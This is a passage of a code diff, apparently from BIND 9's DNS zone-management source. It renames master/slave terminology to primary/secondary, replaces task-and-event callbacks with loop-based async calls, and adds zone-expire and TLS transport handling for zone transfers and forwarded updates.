@@ -16841,8 +16810,8 @@ receive_secure_db(isc_task_t *task, isc_event_t *event) {
 	for (result = dns_dbiterator_first(dbiterator); result == ISC_R_SUCCESS;
 	     result = dns_dbiterator_next(dbiterator))
 	{
-		result = copy_non_dnssec_records(zone, db, version, rawdb,
-						 dbiterator, oldserialp);
+		result = copy_non_dnssec_records(db, version, rawdb, dbiterator,
+						 oldserialp);
 		if (result != ISC_R_SUCCESS) {
 			goto failure;
 		}
@@ -16878,14 +16847,7 @@ receive_secure_db(isc_task_t *task, isc_event_t *event) {
 	/*
 	 * Process any queued NSEC3PARAM change requests.
 	 */
-	while (!ISC_LIST_EMPTY(zone->setnsec3param_queue)) {
-		setnsec3param_event = ISC_LIST_HEAD(zone->setnsec3param_queue);
-		ISC_LIST_UNLINK(zone->setnsec3param_queue, setnsec3param_event,
-				ev_link);
-		dummy = NULL;
-		zone_iattach(zone, &dummy);
-		isc_task_send(zone->task, &setnsec3param_event);
-	}
+	process_zone_setnsec3param(zone);
 
 failure:
 	UNLOCK_ZONE(zone);
@@ -16894,7 +16856,7 @@ receive_secure_db(isc_task_t *task, isc_event_t *event) {
 	}
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_ERROR, "receive_secure_db: %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 	}
 
 	while (!ISC_LIST_EMPTY(nsec3list)) {
@@ -16909,7 +16871,9 @@ receive_secure_db(isc_task_t *task, isc_event_t *event) {
 		}
 		dns_db_detach(&db);
 	}
+
 	dns_db_detach(&rawdb);
+	isc_mem_put(zone->mctx, rss, sizeof(*rss));
 	dns_zone_idetach(&zone);
 
 	INSIST(version == NULL);
@@ -16917,18 +16881,16 @@ receive_secure_db(isc_task_t *task, isc_event_t *event) {
 
 static isc_result_t
 zone_send_securedb(dns_zone_t *zone, dns_db_t *db) {
-	isc_event_t *e;
-	dns_db_t *dummy = NULL;
-	dns_zone_t *secure = NULL;
+	struct rss *rss = NULL;
+
+	rss = isc_mem_get(zone->secure->mctx, sizeof(*rss));
+	*rss = (struct rss){ .link = ISC_LINK_INITIALIZER };
 
-	e = isc_event_allocate(zone->secure->mctx, zone, DNS_EVENT_ZONESECUREDB,
-			       receive_secure_db, zone->secure,
-			       sizeof(struct secure_event));
-	dns_db_attach(db, &dummy);
-	((struct secure_event *)e)->db = dummy;
 	INSIST(LOCKED_ZONE(zone->secure));
-	zone_iattach(zone->secure, &secure);
-	isc_task_send(zone->secure->task, &e);
+	zone_iattach(zone->secure, &rss->zone);
+	dns_db_attach(db, &rss->db);
+	isc_async_run(zone->secure->loop, receive_secure_db, rss);
+
 	DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_SENDSECURE);
 	return (ISC_R_SUCCESS);
 }
@@ -16996,7 +16958,7 @@ zone_replacedb(dns_zone_t *zone, dns_db_t *db, bool dump) {
 	} else {
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "retrieving SOA and NS records failed: %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		return (result);
 	}
 
@@ -17009,7 +16971,7 @@ zone_replacedb(dns_zone_t *zone, dns_db_t *db, bool dump) {
 	dns_db_currentversion(db, &ver);
 
 	/*
-	 * The initial version of a slave zone is always dumped;
+	 * The initial version of a secondary zone is always dumped;
 	 * subsequent versions may be journaled instead if this
 	 * is enabled in the configuration.
 	 */
@@ -17030,16 +16992,16 @@ zone_replacedb(dns_zone_t *zone, dns_db_t *db, bool dump) {
 		}
 
 		/*
-		 * This is checked in zone_postload() for master zones.
+		 * This is checked in zone_postload() for primary zones.
 		 */
 		result = zone_get_from_db(zone, zone->db, NULL, &soacount, NULL,
 					  &oldserial, NULL, NULL, NULL, NULL,
 					  NULL);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 		RUNTIME_CHECK(soacount > 0U);
-		if ((zone->type == dns_zone_slave ||
+		if ((zone->type == dns_zone_secondary ||
 		     (zone->type == dns_zone_redirect &&
-		      zone->masters != NULL)) &&
+		      dns_remote_addresses(&zone->primaries) != NULL)) &&
 		    !isc_serial_gt(serial, oldserial))
 		{
 			uint32_t serialmin, serialmax;
@@ -17069,7 +17031,7 @@ zone_replacedb(dns_zone_t *zone, dns_db_t *db, bool dump) {
 		} else {
 			zone_journal_compact(zone, zone->db, serial);
 		}
-		if (zone->type == dns_zone_master && inline_raw(zone)) {
+		if (zone->type == dns_zone_primary && inline_raw(zone)) {
 			zone_send_secureserial(zone, serial);
 		}
 	} else {
@@ -17137,7 +17099,7 @@ zone_replacedb(dns_zone_t *zone, dns_db_t *db, bool dump) {
 		zone_detachdb(zone);
 	}
 	zone_attachdb(zone, db);
-	dns_db_settask(zone->db, zone->task);
+	dns_db_setloop(zone->db, zone->loop);
 	DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_LOADED | DNS_ZONEFLG_NEEDNOTIFY);
 	return (ISC_R_SUCCESS);
 
@@ -17147,7 +17109,7 @@ zone_replacedb(dns_zone_t *zone, dns_db_t *db, bool dump) {
 }
 
 /* The caller must hold the dblock as a writer. */
-static inline void
+static void
 zone_attachdb(dns_zone_t *zone, dns_db_t *db) {
 	REQUIRE(zone->db == NULL && db != NULL);
 
@@ -17155,28 +17117,33 @@ zone_attachdb(dns_zone_t *zone, dns_db_t *db) {
 }
 
 /* The caller must hold the dblock as a writer. */
-static inline void
+static void
 zone_detachdb(dns_zone_t *zone) {
 	REQUIRE(zone->db != NULL);
 
+	dns_zone_rpz_disable_db(zone, zone->db);
+	dns_zone_catz_disable_db(zone, zone->db);
 	dns_db_detach(&zone->db);
 }
 
 static void
-zone_xfrdone(dns_zone_t *zone, isc_result_t result) {
-	isc_time_t now;
+zone_xfrdone(dns_zone_t *zone, uint32_t *expireopt, isc_result_t result) {
+	isc_time_t now, expiretime;
 	bool again = false;
 	unsigned int soacount;
 	unsigned int nscount;
-	uint32_t serial, refresh, retry, expire, minimum, soattl;
+	uint32_t serial, refresh, retry, expire, minimum, soattl, oldexpire;
 	isc_result_t xfrresult = result;
 	bool free_needed;
 	dns_zone_t *secure = NULL;
 
 	REQUIRE(DNS_ZONE_VALID(zone));
 
-	dns_zone_logc(zone, DNS_LOGCATEGORY_XFER_IN, ISC_LOG_DEBUG(1),
-		      "zone transfer finished: %s", dns_result_totext(result));
+	dns_zone_logc(
+		zone, DNS_LOGCATEGORY_XFER_IN, ISC_LOG_DEBUG(1),
+		expireopt == NULL ? "zone transfer finished: %s"
+				  : "zone transfer finished: %s, expire=%u",
+		isc_result_totext(result), expireopt != NULL ? *expireopt : 0);
 
 	/*
 	 * Obtaining a lock on the zone->secure (see zone_send_secureserial)
@@ -17201,11 +17168,11 @@ zone_xfrdone(dns_zone_t *zone, isc_result_t result) {
 	DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_REFRESH);
 	DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_SOABEFOREAXFR);
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 	switch (xfrresult) {
 	case ISC_R_SUCCESS:
 		DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NEEDNOTIFY);
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	case DNS_R_UPTODATE:
 		DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_FORCEXFER);
 		/*
@@ -17214,9 +17181,11 @@ zone_xfrdone(dns_zone_t *zone, isc_result_t result) {
 		ZONEDB_LOCK(&zone->dblock, isc_rwlocktype_read);
 		if (zone->db == NULL) {
 			ZONEDB_UNLOCK(&zone->dblock, isc_rwlocktype_read);
-			goto same_master;
+			goto same_primary;
 		}
 
+		oldexpire = zone->expire;
+
 		/*
 		 * Update the zone structure's data from the actual
 		 * SOA received.
@@ -17241,7 +17210,7 @@ zone_xfrdone(dns_zone_t *zone, isc_result_t result) {
 				}
 				DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_HAVETIMERS);
 				zone_unload(zone);
-				goto next_master;
+				goto next_primary;
 			}
 			if (nscount == 0) {
 				dns_zone_log(zone, ISC_LOG_ERROR,
@@ -17254,7 +17223,7 @@ zone_xfrdone(dns_zone_t *zone, isc_result_t result) {
 				}
 				DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_HAVETIMERS);
 				zone_unload(zone);
-				goto next_master;
+				goto next_primary;
 			}
 			zone->refresh = RANGE(refresh, zone->minrefresh,
 					      zone->maxrefresh);
@@ -17269,24 +17238,36 @@ zone_xfrdone(dns_zone_t *zone, isc_result_t result) {
 		}
 
 		/*
-		 * Set our next update/expire times.
+		 * Set our next refresh time.
 		 */
 		if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDREFRESH)) {
 			DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_NEEDREFRESH);
 			zone->refreshtime = now;
-			DNS_ZONE_TIME_ADD(&now, zone->expire,
-					  &zone->expiretime);
 		} else {
 			DNS_ZONE_JITTER_ADD(&now, zone->refresh,
 					    &zone->refreshtime);
-			DNS_ZONE_TIME_ADD(&now, zone->expire,
-					  &zone->expiretime);
 		}
+
+		/*
+		 * Set our next expire time. If the parent returned
+		 * an EXPIRE option use that to update zone->expiretime.
+		 */
+		expire = zone->expire;
+		if (expireopt != NULL && *expireopt < expire) {
+			expire = *expireopt;
+		}
+		DNS_ZONE_TIME_ADD(&now, expire, &expiretime);
+		if (oldexpire != zone->expire ||
+		    isc_time_compare(&expiretime, &zone->expiretime) > 0)
+		{
+			zone->expiretime = expiretime;
+		}
+
 		if (result == ISC_R_SUCCESS && xfrresult == ISC_R_SUCCESS) {
 			char buf[DNS_NAME_FORMATSIZE + sizeof(": TSIG ''")];
 			if (zone->tsigkey != NULL) {
 				char namebuf[DNS_NAME_FORMATSIZE];
-				dns_name_format(&zone->tsigkey->name, namebuf,
+				dns_name_format(zone->tsigkey->name, namebuf,
 						sizeof(namebuf));
 				snprintf(buf, sizeof(buf), ": TSIG '%s'",
 					 namebuf);
@@ -17308,15 +17289,27 @@ zone_xfrdone(dns_zone_t *zone, isc_result_t result) {
 		 */
 		if (zone->masterfile != NULL || zone->journal != NULL) {
 			unsigned int delay = DNS_DUMP_DELAY;
+			isc_interval_t i;
+			isc_time_t when;
+
+			/*
+			 * Compute effective modification time.
+			 */
+			isc_interval_set(&i, zone->expire, 0);
+			result = isc_time_subtract(&zone->expiretime, &i,
+						   &when);
+			if (result != ISC_R_SUCCESS) {
+				when = now;
+			}
 
 			result = ISC_R_FAILURE;
 			if (zone->journal != NULL) {
-				result = isc_file_settime(zone->journal, &now);
+				result = isc_file_settime(zone->journal, &when);
 			}
 			if (result != ISC_R_SUCCESS && zone->masterfile != NULL)
 			{
 				result = isc_file_settime(zone->masterfile,
-							  &now);
+							  &when);
 			}
 
 			if ((DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NODELAY) != 0) ||
@@ -17336,7 +17329,7 @@ zone_xfrdone(dns_zone_t *zone, isc_result_t result) {
 					      "transfer: could not set file "
 					      "modification time of '%s': %s",
 					      zone->masterfile,
-					      dns_result_totext(result));
+					      isc_result_totext(result));
 			}
 		}
 		DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_NODELAY);
@@ -17346,7 +17339,7 @@ zone_xfrdone(dns_zone_t *zone, isc_result_t result) {
 	case DNS_R_BADIXFR:
 		/* Force retry with AXFR. */
 		DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NOIXFR);
-		goto same_master;
+		goto same_primary;
 
 	case DNS_R_TOOMANYRECORDS:
 	case DNS_R_VERIFYFAILURE:
@@ -17355,33 +17348,14 @@ zone_xfrdone(dns_zone_t *zone, isc_result_t result) {
 		break;
 
 	default:
-	next_master:
+	next_primary:
 		/*
-		 * Skip to next failed / untried master.
+		 * Skip to next failed / untried primary.
 		 */
-		do {
-			zone->curmaster++;
-		} while (zone->curmaster < zone->masterscnt &&
-			 zone->mastersok[zone->curmaster]);
-		/* FALLTHROUGH */
-	same_master:
-		if (zone->curmaster >= zone->masterscnt) {
-			zone->curmaster = 0;
-			if (DNS_ZONE_OPTION(zone, DNS_ZONEOPT_USEALTXFRSRC) &&
-			    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_USEALTXFRSRC))
-			{
-				DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_REFRESH);
-				DNS_ZONE_SETFLAG(zone,
-						 DNS_ZONEFLG_USEALTXFRSRC);
-				while (zone->curmaster < zone->masterscnt &&
-				       zone->mastersok[zone->curmaster]) {
-					zone->curmaster++;
-				}
-				again = true;
-			} else {
-				DNS_ZONE_CLRFLAG(zone,
-						 DNS_ZONEFLG_USEALTXFRSRC);
-			}
+		dns_remote_next(&zone->primaries, true);
+	same_primary:
+		if (dns_remote_done(&zone->primaries)) {
+			dns_remote_reset(&zone->primaries, false);
 		} else {
 			DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_REFRESH);
 			again = true;
@@ -17430,7 +17404,8 @@ zone_xfrdone(dns_zone_t *zone, isc_result_t result) {
 	 * Let any other zones waiting for quota have it.
 	 */
 	if (zone->zmgr != NULL &&
-	    zone->statelist == &zone->zmgr->xfrin_in_progress) {
+	    zone->statelist == &zone->zmgr->xfrin_in_progress)
+	{
 		UNLOCK_ZONE(zone);
 		RWLOCK(&zone->zmgr->rwlock, isc_rwlocktype_write);
 		ISC_LIST_UNLINK(zone->zmgr->xfrin_in_progress, zone, statelink);
@@ -17457,13 +17432,11 @@ zone_xfrdone(dns_zone_t *zone, isc_result_t result) {
 
 static void
 zone_loaddone(void *arg, isc_result_t result) {
-	static char me[] = "zone_loaddone";
 	dns_load_t *load = arg;
 	dns_zone_t *zone;
 	isc_result_t tresult;
 	dns_zone_t *secure = NULL;
 
-	REQUIRE(DNS_LOAD_VALID(load));
 	zone = load->zone;
 
 	ENTER;
@@ -17503,7 +17476,6 @@ zone_loaddone(void *arg, isc_result_t result) {
 		}
 	}
 	(void)zone_postload(zone, load->db, load->loadtime, result);
-	zonemgr_putio(&zone->readio);
 	DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_LOADING);
 	zone_idetach(&load->callbacks.zone);
 	/*
@@ -17522,13 +17494,13 @@ zone_loaddone(void *arg, isc_result_t result) {
 	}
 	UNLOCK_ZONE(zone);
 
-	load->magic = 0;
 	dns_db_detach(&load->db);
-	if (load->zone->lctx != NULL) {
-		dns_loadctx_detach(&load->zone->lctx);
+	if (zone->loadctx != NULL) {
+		dns_loadctx_detach(&zone->loadctx);
 	}
-	dns_zone_idetach(&load->zone);
-	isc_mem_putanddetach(&load->mctx, load, sizeof(*load));
+	isc_mem_put(zone->mctx, load, sizeof(*load));
+
+	dns_zone_idetach(&zone);
 }
 
 void
@@ -17595,8 +17567,8 @@ dns_zone_setsigresigninginterval(dns_zone_t *zone, uint32_t interval) {
 	LOCK_ZONE(zone);
 	zone->sigresigninginterval = interval;
 	set_resigntime(zone);
-	if (zone->task != NULL) {
-		TIME_NOW(&now);
+	if (zone->loop != NULL) {
+		now = isc_time_now();
 		zone_settimer(zone, &now);
 	}
 	UNLOCK_ZONE(zone);
@@ -17611,7 +17583,6 @@ dns_zone_getsigresigninginterval(dns_zone_t *zone) {
 
 static void
 queue_xfrin(dns_zone_t *zone) {
-	const char me[] = "queue_xfrin";
 	isc_result_t result;
 	dns_zonemgr_t *zmgr = zone->zmgr;
 
@@ -17642,45 +17613,44 @@ queue_xfrin(dns_zone_t *zone) {
  * to go ahead and start the transfer.
  */
 static void
-got_transfer_quota(isc_task_t *task, isc_event_t *event) {
+got_transfer_quota(void *arg) {
+	dns_zone_t *zone = (dns_zone_t *)arg;
 	isc_result_t result = ISC_R_SUCCESS;
 	dns_peer_t *peer = NULL;
-	char master[ISC_SOCKADDR_FORMATSIZE];
+	char primary[ISC_SOCKADDR_FORMATSIZE];
 	char source[ISC_SOCKADDR_FORMATSIZE];
 	dns_rdatatype_t xfrtype;
-	dns_zone_t *zone = event->ev_arg;
-	isc_netaddr_t masterip;
+	isc_netaddr_t primaryip;
+	isc_sockaddr_t primaryaddr;
 	isc_sockaddr_t sourceaddr;
-	isc_sockaddr_t masteraddr;
 	isc_time_t now;
 	const char *soa_before = "";
-	isc_dscp_t dscp = -1;
 	bool loaded;
-
-	UNUSED(task);
-
-	INSIST(task == zone->task);
+	isc_tlsctx_cache_t *zmgr_tlsctx_cache = NULL;
 
 	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
-		CHECK(ISC_R_CANCELED);
+		zone_xfrdone(zone, NULL, ISC_R_CANCELED);
+		return;
 	}
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 
-	isc_sockaddr_format(&zone->masteraddr, master, sizeof(master));
-	if (dns_zonemgr_unreachable(zone->zmgr, &zone->masteraddr,
-				    &zone->sourceaddr, &now))
+	primaryaddr = dns_remote_curraddr(&zone->primaries);
+	isc_sockaddr_format(&primaryaddr, primary, sizeof(primary));
+	if (dns_zonemgr_unreachable(zone->zmgr, &primaryaddr, &zone->sourceaddr,
+				    &now))
 	{
 		isc_sockaddr_format(&zone->sourceaddr, source, sizeof(source));
 		dns_zone_logc(zone, DNS_LOGCATEGORY_XFER_IN, ISC_LOG_INFO,
 			      "got_transfer_quota: skipping zone transfer as "
-			      "master %s (source %s) is unreachable (cached)",
-			      master, source);
-		CHECK(ISC_R_CANCELED);
+			      "primary %s (source %s) is unreachable (cached)",
+			      primary, source);
+		zone_xfrdone(zone, NULL, ISC_R_CANCELED);
+		return;
 	}
 
-	isc_netaddr_fromsockaddr(&masterip, &zone->masteraddr);
-	(void)dns_peerlist_peerbyaddr(zone->view->peers, &masterip, &peer);
+	isc_netaddr_fromsockaddr(&primaryip, &primaryaddr);
+	(void)dns_peerlist_peerbyaddr(zone->view->peers, &primaryip, &peer);
 
 	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_SOABEFOREAXFR)) {
 		soa_before = "SOA before ";
@@ -17696,19 +17666,19 @@ got_transfer_quota(isc_task_t *task, isc_event_t *event) {
 		dns_zone_logc(zone, DNS_LOGCATEGORY_XFER_IN, ISC_LOG_DEBUG(1),
 			      "no database exists yet, requesting AXFR of "
 			      "initial version from %s",
-			      master);
+			      primary);
 		xfrtype = dns_rdatatype_axfr;
 	} else if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_FORCEXFER)) {
 		dns_zone_logc(zone, DNS_LOGCATEGORY_XFER_IN, ISC_LOG_DEBUG(1),
 			      "forced reload, requesting AXFR of "
 			      "initial version from %s",
-			      master);
+			      primary);
 		xfrtype = dns_rdatatype_axfr;
 	} else if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NOIXFR)) {
 		dns_zone_logc(zone, DNS_LOGCATEGORY_XFER_IN, ISC_LOG_DEBUG(1),
 			      "retrying with AXFR from %s due to "
 			      "previous IXFR failure",
-			      master);
+			      primary);
 		xfrtype = dns_rdatatype_axfr;
 		LOCK_ZONE(zone);
 		DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_NOIXFR);
@@ -17726,7 +17696,7 @@ got_transfer_quota(isc_task_t *task, isc_event_t *event) {
 				      ISC_LOG_DEBUG(1),
 				      "IXFR disabled, "
 				      "requesting %sAXFR from %s",
-				      soa_before, master);
+				      soa_before, primary);
 			if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_SOABEFOREAXFR)) {
 				xfrtype = dns_rdatatype_soa;
 			} else {
@@ -17735,7 +17705,7 @@ got_transfer_quota(isc_task_t *task, isc_event_t *event) {
 		} else {
 			dns_zone_logc(zone, DNS_LOGCATEGORY_XFER_IN,
 				      ISC_LOG_DEBUG(1),
-				      "requesting IXFR from %s", master);
+				      "requesting IXFR from %s", primary);
 			xfrtype = dns_rdatatype_ixfr;
 		}
 	}
@@ -17746,106 +17716,85 @@ got_transfer_quota(isc_task_t *task, isc_event_t *event) {
 	result = ISC_R_NOTFOUND;
 
 	/*
-	 * First, look for a tsig key in the master statement, then
+	 * First, look for a tsig key in the primaries statement, then
 	 * try for a server key.
 	 */
-	if ((zone->masterkeynames != NULL) &&
-	    (zone->masterkeynames[zone->curmaster] != NULL))
-	{
+	if (dns_remote_keyname(&zone->primaries) != NULL) {
 		dns_view_t *view = dns_zone_getview(zone);
-		dns_name_t *keyname = zone->masterkeynames[zone->curmaster];
+		dns_name_t *keyname = dns_remote_keyname(&zone->primaries);
 		result = dns_view_gettsig(view, keyname, &zone->tsigkey);
 	}
-	if (zone->tsigkey == NULL) {
-		result = dns_view_getpeertsig(zone->view, &masterip,
+	if (result != ISC_R_SUCCESS) {
+		INSIST(zone->tsigkey == NULL);
+		result = dns_view_getpeertsig(zone->view, &primaryip,
 					      &zone->tsigkey);
 	}
-
 	if (result != ISC_R_SUCCESS && result != ISC_R_NOTFOUND) {
 		dns_zone_logc(zone, DNS_LOGCATEGORY_XFER_IN, ISC_LOG_ERROR,
 			      "could not get TSIG key for zone transfer: %s",
 			      isc_result_totext(result));
 	}
 
-	if ((zone->mastertlsnames != NULL) &&
-	    (zone->mastertlsnames[zone->curmaster] != NULL))
-	{
+	/*
+	 * Get the TLS transport for the primary, if configured.
+	 */
+	if (dns_remote_tlsname(&zone->primaries) != NULL) {
 		dns_view_t *view = dns_zone_getview(zone);
-		dns_name_t *tlsname = zone->mastertlsnames[zone->curmaster];
+		dns_name_t *tlsname = dns_remote_tlsname(&zone->primaries);
 		result = dns_view_gettransport(view, DNS_TRANSPORT_TLS, tlsname,
 					       &zone->transport);
-
-		dns_zone_logc(zone, DNS_LOGCATEGORY_XFER_IN, ISC_LOG_ERROR,
-			      "got TLS configuration for zone transfer: %s",
-			      isc_result_totext(result));
-	}
-
-	if (result != ISC_R_SUCCESS && result != ISC_R_NOTFOUND) {
-		dns_zone_logc(
-			zone, DNS_LOGCATEGORY_XFER_IN, ISC_LOG_ERROR,
-			"could not get TLS configuration for zone transfer: %s",
-			isc_result_totext(result));
-	}
-
-	if (zone->masterdscps != NULL) {
-		dscp = zone->masterdscps[zone->curmaster];
+		if (result != ISC_R_SUCCESS && result != ISC_R_NOTFOUND) {
+			dns_zone_logc(zone, DNS_LOGCATEGORY_XFER_IN,
+				      ISC_LOG_ERROR,
+				      "could not get TLS configuration for "
+				      "zone transfer: %s",
+				      isc_result_totext(result));
+		}
 	}
 
 	LOCK_ZONE(zone);
-	masteraddr = zone->masteraddr;
 	sourceaddr = zone->sourceaddr;
-	switch (isc_sockaddr_pf(&masteraddr)) {
-	case PF_INET:
-		if (dscp == -1) {
-			dscp = zone->xfrsource4dscp;
-		}
-		break;
-	case PF_INET6:
-		if (dscp == -1) {
-			dscp = zone->xfrsource6dscp;
-		}
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
 	UNLOCK_ZONE(zone);
-	INSIST(isc_sockaddr_pf(&masteraddr) == isc_sockaddr_pf(&sourceaddr));
+	INSIST(isc_sockaddr_pf(&primaryaddr) == isc_sockaddr_pf(&sourceaddr));
 
 	if (zone->xfr != NULL) {
 		dns_xfrin_detach(&zone->xfr);
 	}
 
-	CHECK(dns_xfrin_create(zone, xfrtype, &masteraddr, &sourceaddr, dscp,
-			       zone->tsigkey, zone->transport, zone->mctx,
-			       zone->zmgr->netmgr, zone_xfrdone, &zone->xfr));
+	zmgr_tlsctx_attach(zone->zmgr, &zmgr_tlsctx_cache);
+
+	result = dns_xfrin_create(zone, xfrtype, &primaryaddr, &sourceaddr,
+				  zone->tsigkey, zone->transport,
+				  zmgr_tlsctx_cache, zone->mctx, zone_xfrdone,
+				  &zone->xfr);
+
+	isc_tlsctx_cache_detach(&zmgr_tlsctx_cache);
+
+	/*
+	 * Any failure in this function is handled like a failed
+	 * zone transfer.  This ensures that we get removed from
+	 * zmgr->xfrin_in_progress.
+	 */
+	if (result != ISC_R_SUCCESS) {
+		zone_xfrdone(zone, NULL, result);
+		return;
+	}
+
 	LOCK_ZONE(zone);
 	if (xfrtype == dns_rdatatype_axfr) {
-		if (isc_sockaddr_pf(&masteraddr) == PF_INET) {
+		if (isc_sockaddr_pf(&primaryaddr) == PF_INET) {
 			inc_stats(zone, dns_zonestatscounter_axfrreqv4);
 		} else {
 			inc_stats(zone, dns_zonestatscounter_axfrreqv6);
 		}
 	} else if (xfrtype == dns_rdatatype_ixfr) {
-		if (isc_sockaddr_pf(&masteraddr) == PF_INET) {
+		if (isc_sockaddr_pf(&primaryaddr) == PF_INET) {
 			inc_stats(zone, dns_zonestatscounter_ixfrreqv4);
 		} else {
 			inc_stats(zone, dns_zonestatscounter_ixfrreqv6);
 		}
 	}
 	UNLOCK_ZONE(zone);
-
-failure:
-	/*
-	 * Any failure in this function is handled like a failed
-	 * zone transfer.  This ensures that we get removed from
-	 * zmgr->xfrin_in_progress.
-	 */
-	if (result != ISC_R_SUCCESS) {
-		zone_xfrdone(zone, result);
-	}
-
-	isc_event_free(&event);
 }
 
 /*
@@ -17861,6 +17810,9 @@ forward_destroy(dns_forward_t *forward) {
 	if (forward->msgbuf != NULL) {
 		isc_buffer_free(&forward->msgbuf);
 	}
+	if (forward->transport != NULL) {
+		dns_transport_detach(&forward->transport);
+	}
 	if (forward->zone != NULL) {
 		LOCK(&forward->zone->lock);
 		if (ISC_LINK_LINKED(forward, link)) {
@@ -17873,94 +17825,150 @@ forward_destroy(dns_forward_t *forward) {
 }
 
 static isc_result_t
-sendtomaster(dns_forward_t *forward) {
+sendtoprimary(dns_forward_t *forward) {
 	isc_result_t result;
-	isc_sockaddr_t src;
-	isc_dscp_t dscp = -1;
+	isc_sockaddr_t src, any;
+	dns_zone_t *zone = forward->zone;
+	bool tls_transport_invalid = false;
+	isc_tlsctx_cache_t *zmgr_tlsctx_cache = NULL;
 
-	LOCK_ZONE(forward->zone);
+	LOCK_ZONE(zone);
 
-	if (DNS_ZONE_FLAG(forward->zone, DNS_ZONEFLG_EXITING)) {
-		UNLOCK_ZONE(forward->zone);
+	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING)) {
+		UNLOCK_ZONE(zone);
 		return (ISC_R_CANCELED);
 	}
 
-	if (forward->which >= forward->zone->masterscnt) {
-		UNLOCK_ZONE(forward->zone);
+	if (forward->which >= dns_remote_count(&forward->zone->primaries)) {
+		UNLOCK_ZONE(zone);
 		return (ISC_R_NOMORE);
 	}
 
-	forward->addr = forward->zone->masters[forward->which];
+	forward->addr = dns_remote_addr(&zone->primaries, forward->which);
 	/*
 	 * Always use TCP regardless of whether the original update
 	 * used TCP.
 	 * XXX The timeout may but a bit small if we are far down a
-	 * transfer graph and the master has to try several masters.
+	 * transfer graph and have to try several primaries.
 	 */
 	switch (isc_sockaddr_pf(&forward->addr)) {
 	case PF_INET:
-		src = forward->zone->xfrsource4;
-		dscp = forward->zone->xfrsource4dscp;
+		isc_sockaddr_any(&any);
+		src = zone->primaries.sources[forward->which];
+		if (isc_sockaddr_equal(&src, &any)) {
+			src = zone->xfrsource4;
+		}
 		break;
 	case PF_INET6:
-		src = forward->zone->xfrsource6;
-		dscp = forward->zone->xfrsource6dscp;
+		isc_sockaddr_any6(&any);
+		src = zone->primaries.sources[forward->which];
+		if (isc_sockaddr_equal(&src, &any)) {
+			src = zone->xfrsource6;
+		}
 		break;
 	default:
 		result = ISC_R_NOTIMPLEMENTED;
 		goto unlock;
 	}
-	result = dns_request_createraw(forward->zone->view->requestmgr,
-				       forward->msgbuf, &src, &forward->addr,
-				       dscp, forward->options, 15 /* XXX */, 0,
-				       0, forward->zone->task, forward_callback,
-				       forward, &forward->request);
+
+	if (forward->transport != NULL) {
+		dns_transport_detach(&forward->transport);
+	}
+
+	if (dns_remote_tlsname(&zone->primaries) != NULL &&
+	    zone->primaries.tlsnames[forward->which] != NULL)
+	{
+		dns_view_t *view = dns_zone_getview(zone);
+		dns_name_t *tlsname = zone->primaries.tlsnames[forward->which];
+
+		result = dns_view_gettransport(view, DNS_TRANSPORT_TLS, tlsname,
+					       &forward->transport);
+
+		if (result != ISC_R_SUCCESS) {
+			/* Log the error message when unlocked. */
+			tls_transport_invalid = true;
+			goto unlock;
+		}
+	}
+
+	zmgr_tlsctx_attach(zone->zmgr, &zmgr_tlsctx_cache);
+
+	result = dns_request_createraw(
+		forward->zone->view->requestmgr, forward->msgbuf, &src,
+		&forward->addr, forward->transport, zmgr_tlsctx_cache,
+		forward->options, 15 /* XXX */, 0, 0, forward->zone->loop,
+		forward_callback, forward, &forward->request);
+
+	isc_tlsctx_cache_detach(&zmgr_tlsctx_cache);
+
 	if (result == ISC_R_SUCCESS) {
 		if (!ISC_LINK_LINKED(forward, link)) {
-			ISC_LIST_APPEND(forward->zone->forwards, forward, link);
+			ISC_LIST_APPEND(zone->forwards, forward, link);
 		}
 	}
 
 unlock:
-	UNLOCK_ZONE(forward->zone);
+	UNLOCK_ZONE(zone);
+
+	if (tls_transport_invalid) {
+		dns_zone_log(zone, ISC_LOG_ERROR,
+			     "could not get TLS configuration "
+			     "for dynamic update: %s",
+			     isc_result_totext(result));
+	}
+
 	return (result);
 }
 
 static void
-forward_callback(isc_task_t *task, isc_event_t *event) {
-	const char me[] = "forward_callback";
-	dns_requestevent_t *revent = (dns_requestevent_t *)event;
+forward_callback(void *arg) {
+	dns_request_t *request = (dns_request_t *)arg;
+	dns_forward_t *forward = dns_request_getarg(request);
 	dns_message_t *msg = NULL;
-	char master[ISC_SOCKADDR_FORMATSIZE];
+	char primary[ISC_SOCKADDR_FORMATSIZE];
 	isc_result_t result;
-	dns_forward_t *forward;
 	dns_zone_t *zone;
 
-	UNUSED(task);
-
-	forward = revent->ev_arg;
 	INSIST(DNS_FORWARD_VALID(forward));
 	zone = forward->zone;
 	INSIST(DNS_ZONE_VALID(zone));
 
 	ENTER;
 
